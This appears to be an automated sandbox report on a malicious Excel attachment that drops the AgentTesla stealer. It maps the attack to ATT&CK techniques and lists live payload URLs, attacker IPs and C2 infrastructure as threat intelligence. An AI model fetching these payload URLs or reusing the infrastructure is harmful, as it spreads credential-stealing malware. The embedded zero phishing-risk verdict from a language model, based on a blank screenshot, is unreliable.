Source: Yara match	File source: 0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3440, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.12778558.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3440, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	231 Windows Management Instrumentation	121 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	311 Process Injection	11 Deobfuscate/Decode Files or Information	1 Input Capture	35 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	23 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Obfuscated Files or Information	Security Account Manager	531 Security Software Discovery	SMB/Windows Admin Shares	11 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	211 Command and Scripting Interpreter	Login Hook	Login Hook	1 Install Root Certificate	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	261 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	261 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	311 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx	18%	ReversingLabs	Document-Excel.Exploit.CVE-2017-0199
Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://ip-api.com	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe
http://91.92.254.194/imge/new-image_v.jpgxRm;	0%	Avira URL Cloud	safe
http://198.46.178.144/EvengIEcache.hta...e	0%	Avira URL Cloud	safe
http://91.92.254.194/imge/new-image_v.jpg	0%	Avira URL Cloud	safe
http://hop.fyi/ppltLP8	0%	Avira URL Cloud	safe
http://hop.fyi/ppltLT8	0%	Avira URL Cloud	safe
http://hop.fyi/ppltLl	0%	Avira URL Cloud	safe
http://198.46.178.144/EvengIEcache.htax	0%	Avira URL Cloud	safe
http://hop.fyi/ppltLh	0%	Avira URL Cloud	safe
http://198.46.178.144	0%	Avira URL Cloud	safe
http://198.46.178.144/madamwebbbbbbbas6444.txt	0%	Avira URL Cloud	safe
http://hop.fyi/ppltL	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	Avira URL Cloud	safe
http://198.46.178.144/EvengIEcache.hta6o	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	Avira URL Cloud	safe
http://198.46.178.144/eveningfiledatinglover.vbst	0%	Avira URL Cloud	safe
http://198.46.178.144/f	0%	Avira URL Cloud	safe
http://198.46.178.144/EvengIEcache.hta...	0%	Avira URL Cloud	safe
http://198.46.178.144/j	0%	Avira URL Cloud	safe
http://198.46.178.144/eveningfiledatinglover.vbsp	0%	Avira URL Cloud	safe
http://go.micros	0%	Avira URL Cloud	safe
http://198.46.178.144/EvengIEcache.htaZ	0%	Avira URL Cloud	safe
http://91.92.254.194	0%	Avira URL Cloud	safe
http://hop.fyi/	0%	Avira URL Cloud	safe
http://198.46.178.144/eveningfiledatinglover.vbs	0%	Avira URL Cloud	safe
http://198.46.178.144/EvengIEcache.htahttp://198.46.178.144/EvengIEcache.hta0	0%	Avira URL Cloud	safe
http://hop.fyi/ppltLB	0%	Avira URL Cloud	safe
http://94.156.65.247/Users_API/negrocock/file_mq5uppna.ldt.txt	0%	Avira URL Cloud	safe
http://198.46.178.144/EvengIEcache.hta/	0%	Avira URL Cloud	safe
http://198.46.178.144/EvengIEcache.htaC:	0%	Avira URL Cloud	safe
http://198.46.178.144/eveningfiledatinglover.vbstt	0%	Avira URL Cloud	safe
http://198.46.178.144/eveningfil	0%	Avira URL Cloud	safe
http://198.46.178.144/EvengIEcache.hta	0%	Avira URL Cloud	safe
http://go.cr	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
hop.fyi	192.185.89.92	true	false		unknown
ip-api.com	208.95.112.1	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://91.92.254.194/imge/new-image_v.jpg	true	Avira URL Cloud: safe	unknown
http://198.46.178.144/madamwebbbbbbbas6444.txt	true	Avira URL Cloud: safe	unknown
http://hop.fyi/ppltL	false	Avira URL Cloud: safe	unknown
http://198.46.178.144/eveningfiledatinglover.vbs	true	Avira URL Cloud: safe	unknown
http://198.46.178.144/EvengIEcache.hta	true	Avira URL Cloud: safe	unknown
http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.489807943.0000000012341000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://198.46.178.144/EvengIEcache.hta...e	mshta.exe, 00000004.00000003.464522889.00000000003BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.00000000003BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hop.fyi/ppltLl	mshta.exe, 00000004.00000002.466473179.000000000034E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.dyn.com/	powershell.exe, 0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/server1.crl0	powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.entrust.net03	powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://hop.fyi/ppltLT8	mshta.exe, 00000004.00000002.466473179.000000000034E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hop.fyi/ppltLh	mshta.exe, 00000004.00000002.466473179.000000000034E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.92.254.194/imge/new-image_v.jpgxRm;	powershell.exe, 0000000C.00000002.504336170.0000000002570000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://198.46.178.144/EvengIEcache.htax	mshta.exe, 00000004.00000003.465933300.0000000002BFD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hop.fyi/ppltLP8	mshta.exe, 00000004.00000002.466473179.000000000034E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000007.00000002.489807943.0000000012341000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000007.00000002.489807943.0000000012341000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://198.46.178.144	powershell.exe, 0000000C.00000002.504336170.0000000002713000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://198.46.178.144/EvengIEcache.hta6o	mshta.exe, 00000004.00000003.464522889.00000000003BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.00000000003BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://198.46.178.144/f	mshta.exe, 00000004.00000003.463853080.000000000040D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.000000000040E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.464522889.000000000040E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.micros	powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://198.46.178.144/j	mshta.exe, 00000004.00000003.463853080.000000000040D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.000000000040E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.464522889.000000000040E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://198.46.178.144/eveningfiledatinglover.vbst	powershell.exe, 00000007.00000002.490786833.000000001C28A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://198.46.178.144/EvengIEcache.hta...	mshta.exe, 00000004.00000003.464522889.00000000003BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.00000000003BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://198.46.178.144/eveningfiledatinglover.vbsp	powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.92.254.194	powershell.exe, 0000000C.00000002.504336170.0000000002570000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://198.46.178.144/EvengIEcache.htaZ	mshta.exe, 00000004.00000003.464522889.00000000003BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hop.fyi/	mshta.exe, 00000004.00000002.466473179.00000000003F8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.464522889.00000000003FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000007.00000002.489807943.0000000012341000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.489807943.0000000012341000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ip-api.com	AddInProcess32.exe, 0000000E.00000002.619170569.0000000002431000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.00000000024D2000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.00000000024EE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://hop.fyi/ppltLB	Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx, 46930000.0.dr	false	Avira URL Cloud: safe	unknown
http://198.46.178.144/EvengIEcache.hta/	mshta.exe, 00000004.00000003.464522889.00000000003BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.156.65.247/Users_API/negrocock/file_mq5uppna.ldt.txt	wscript.exe, 0000000B.00000003.516835984.0000000000413000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.517801046.0000000000485000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.516954761.0000000000411000.00000004.00000020.00020000.00000000.sdmp, eveningfiledatinglover[1].vbs.7.dr, eveningfiledatinglover.vBS.7.dr	false	Avira URL Cloud: safe	unknown
http://198.46.178.144/EvengIEcache.htaC:	mshta.exe, 00000004.00000002.466473179.00000000003F8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.464522889.00000000003FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://198.46.178.144/eveningfiledatinglover.vbstt	powershell.exe, 00000007.00000002.490786833.000000001C28A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.485211497.0000000002311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.504336170.0000000002371000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.0000000002431000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.00000000024D2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	powershell.exe, 00000007.00000002.490786833.000000001C280000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://198.46.178.144/EvengIEcache.htahttp://198.46.178.144/EvengIEcache.hta0	mshta.exe, 00000004.00000003.465933300.0000000002BF5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://198.46.178.144/eveningfil	powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://go.cr	powershell.exe, 00000007.00000002.490786833.000000001C30D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.185.89.92	hop.fyi	United States	46606	UNIFIEDLAYER-AS-1US	false
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
198.46.178.144	unknown	United States	36352	AS-COLOCROSSINGUS	true
94.156.65.247	unknown	Bulgaria	31420	TERASYST-ASBG	true
91.92.254.194	unknown	Bulgaria	34368	THEZONEBG	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467088
Start date and time:	2024-07-03 18:01:44 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx
Detection:	MAL
Classification:	mal100.phis.troj.spyw.expl.evad.winXLSX@16/24@4/5
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 93% Number of executed functions: 31 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe
Execution Graph export aborted for target mshta.exe, PID 1100 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx

Simulations

Behavior and APIs

Time	Type	Description
12:03:26	API Interceptor	37x Sleep call for process: mshta.exe modified
12:03:28	API Interceptor	88x Sleep call for process: powershell.exe modified
12:03:37	API Interceptor	123x Sleep call for process: wscript.exe modified
12:03:45	API Interceptor	28x Sleep call for process: AddInProcess32.exe modified

LLM Input / Output

Input

Output

URL: Office document Model: gpt-4o

```json{  "riskscore": 0,  "reasons": "The provided screenshot does not contain any visible text or links. It appears to be a blank or obscured document, making it impossible to analyze for phishing risks. There are no visually prominent buttons or links, no text creating a sense of urgency or interest, and no impersonation of well-known brands."}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
192.185.89.92	Ship particulars.xls	Get hash	malicious	Unknown	Browse	hop.fyi/sWel7
	DHL_AWB 98776013276.xls	Get hash	malicious	FormBook	Browse	hop.fyi/aNUxj
	457525.xls	Get hash	malicious	Unknown	Browse	hop.fyi/mxcbs
	457525.xls	Get hash	malicious	Unknown	Browse	hop.fyi/mxcbs
	457525.xls	Get hash	malicious	Unknown	Browse	hop.fyi/uW4Kj
	457525.xls	Get hash	malicious	Unknown	Browse	hop.fyi/mxcbs
	Scan-Payment-Advice.xls	Get hash	malicious	Lokibot	Browse	hop.fyi/30dp7
208.95.112.1	6bdudXAsQW.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	H50bdqfVH2.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	kZa81nzREg.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	bv8iPF7cTY.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	jsLnybSs43.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	tgBNtoWqIp.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	fiDe44VTwh.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	9691e6dc404680cc6648726c8d124a6d4fc637bb6b4a092661308012438623b2_dump.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	BomqT2a55e.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	E48ALuMJ3m.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
hop.fyi	Ship particulars.xls	Get hash	malicious	Unknown	Browse	192.185.89.92
	DHL_AWB 98776013276.xls	Get hash	malicious	FormBook	Browse	192.185.89.92
	457525.xls	Get hash	malicious	Unknown	Browse	192.185.89.92
	457525.xls	Get hash	malicious	Unknown	Browse	192.185.89.92
	457525.xls	Get hash	malicious	Unknown	Browse	192.185.89.92
	457525.xls	Get hash	malicious	Unknown	Browse	192.185.89.92
	Scan-Payment-Advice.xls	Get hash	malicious	Lokibot	Browse	192.185.89.92
ip-api.com	6bdudXAsQW.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	H50bdqfVH2.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	kZa81nzREg.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	bv8iPF7cTY.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	jsLnybSs43.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	tgBNtoWqIp.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	fiDe44VTwh.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	9691e6dc404680cc6648726c8d124a6d4fc637bb6b4a092661308012438623b2_dump.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	BomqT2a55e.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	E48ALuMJ3m.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
THEZONEBG	Ship particulars.xls	Get hash	malicious	Unknown	Browse	91.92.254.29
	KVAoyRsrZC.exe	Get hash	malicious	Unknown	Browse	91.92.248.9
	MzXmoBVXtU.exe	Get hash	malicious	XenoRAT	Browse	91.92.248.167
	AVKlyo045S.exe	Get hash	malicious	XenoRAT	Browse	91.92.248.167
	Inquiry HA-22-28199 22-Q22024.doc	Get hash	malicious	FormBook	Browse	91.92.254.29
	Inquiry HA-22-28199 22-Q22024.doc	Get hash	malicious	FormBook	Browse	91.92.254.29
	RW-TS-Payment204_A3084_04893_D4084_Y5902_CE3018_S4081_W30981.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	91.92.255.36
	4YlwTsmpuZ.rtf	Get hash	malicious	Unknown	Browse	91.92.254.29
	02_07_2024_D#U00f6nemi_MEVDUAT Ekstre Bilgiler.exe	Get hash	malicious	AsyncRAT	Browse	91.92.240.178
	JrBo2dgrUX.exe	Get hash	malicious	Lokibot	Browse	91.92.240.69
AS-COLOCROSSINGUS	Ship particulars.xls	Get hash	malicious	Unknown	Browse	198.46.178.139
	wcNDx6MT9O.exe	Get hash	malicious	Remcos	Browse	107.173.4.16
	cnaniAxghZ.exe	Get hash	malicious	Remcos	Browse	107.175.229.139
	execute_and_cleanup.sh	Get hash	malicious	Unknown	Browse	108.174.58.28
	4YlwTsmpuZ.rtf	Get hash	malicious	Unknown	Browse	23.95.235.16
	Payment_Advice.xls	Get hash	malicious	Unknown	Browse	192.3.179.150
	DHL_AWB 98776013276.xls	Get hash	malicious	FormBook	Browse	23.95.235.16
	Scan-Payment-Advice.xls	Get hash	malicious	Lokibot	Browse	198.46.178.137
	orden de compra.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	192.3.243.156
	ORDER-7019-2024.js	Get hash	malicious	AgentTesla	Browse	192.210.215.11
UNIFIEDLAYER-AS-1US	Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Get hash	malicious	FormBook	Browse	192.185.208.8
	Ship particulars.xls	Get hash	malicious	Unknown	Browse	192.185.89.92
	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	192.185.208.8
	https://mail.pfl.fyi/v1/messages/0190749a-2f6a-7c9f-b37a-88f0ae969ede/click?link_id=0190749a-2ffa-7f41-ad16-3ecda235df51&signature=3e892faf1c0137166fda82e5ff5c6a3150c2cec9	Get hash	malicious	HTMLPhisher	Browse	162.144.36.99
	GJRX21GBj3.exe	Get hash	malicious	FormBook	Browse	108.179.193.98
	MUdeeReQ5R.exe	Get hash	malicious	FormBook	Browse	162.240.81.18
	kZa81nzREg.exe	Get hash	malicious	AgentTesla	Browse	162.241.62.63
	https://link.mail.beehiiv.com/ls/click?upn=u001.I67xw9O-2FCIng4d3bGWl4wF1gb7u7ov5hHZyE-2Bbx9UTzw17nXfIKdJcwxuwzDNoy2zqPLSJo-2BNEQCUif7aqDwom-2FNyeTx4oiB0wLXwXnzsK4D0yrlxIKEkPM7Cj-2FHMmK1N5sLNWwmlbyGbHeuv6ehAEECnEs6fFQOqqwD-2FKToPwl8ZCnBHVdQ3QU8RWhloPcfXcxa_hzdxOAnI3B-2BYhj5tgQXSRCdoGEcuM88dXETG-2BahO6Uvd8cr2jZPTzAVk72oAubAHPgVJjhCdU6bjbXnflniNIkDzPhLxyvQL1dSWfR-2BUbH1DS3LUwJipSkZoP8d1ryYR0TIdt5CyNutkaFy6gLHYcR4kl-2Fz1ezOldYW2WX0ghZl4CCdgYPK2Cj3fM7MmBqLOIY-2B5u5WgDkBzfdFRbwHzvpAejc0JJJ7tYmz-2BUzjH-2BoYmk-2F0HGjFVUaYNWyGnhGX4EhZzw6qOcJEaxZhVjnDpWPL3U5gs5ZetaaeYkMX5whQyh7U-2B0b4Qj0LqFla1tJlWVR4EZMTu40FIJ9BSbWnjEcc9JxuCrqAu48-2BpVmjPzA43qg6bd2x0AWoed1RbQeWVzBT648qZJ7L-2FqgKPY6ysg2U7IBuGeVI7oxhhKCbXSZln5jVQGdCxXpADLZSMla5T1Id6eeDoJeYo7zr6VqE6vw-3D-3D#aGFydG11dC5zY2htaWR0QGtwcy1jb25zdWx0aW5nLmNvbQ==	Get hash	malicious	Unknown	Browse	69.49.230.170
	7RsDGpyOQk.exe	Get hash	malicious	FormBook	Browse	162.240.81.18
	TRANEXAMIC ACID & CAMPHANEDIOL SPECIFICATIONS.exe	Get hash	malicious	AgentTesla	Browse	192.254.225.136
TUT-ASUS	6bdudXAsQW.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	H50bdqfVH2.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	kZa81nzREg.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	bv8iPF7cTY.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	jsLnybSs43.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	tgBNtoWqIp.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	fiDe44VTwh.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	9691e6dc404680cc6648726c8d124a6d4fc637bb6b4a092661308012438623b2_dump.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	BomqT2a55e.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	E48ALuMJ3m.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
TERASYST-ASBG	6b585caaf4299c406c45a3beb76a8624d159404e1aac48a292976119c6d9b72c_payload.exe	Get hash	malicious	Remcos	Browse	94.156.69.93
	HUED23EDE5UGRFQ.exe	Get hash	malicious	Remcos	Browse	94.156.69.93
	s1C1DWgj73.elf	Get hash	malicious	Mirai	Browse	94.156.67.161
	ScjfNQG5l0.elf	Get hash	malicious	Unknown	Browse	94.156.67.161
	Jieok44uQ5.elf	Get hash	malicious	Mirai	Browse	94.156.67.161
	94.156.67.161-mips-2024-07-01T10_28_03.elf	Get hash	malicious	Mirai	Browse	94.156.67.161
	94.156.67.161-arm-2024-07-01T10_28_03.elf	Get hash	malicious	Unknown	Browse	94.156.67.161
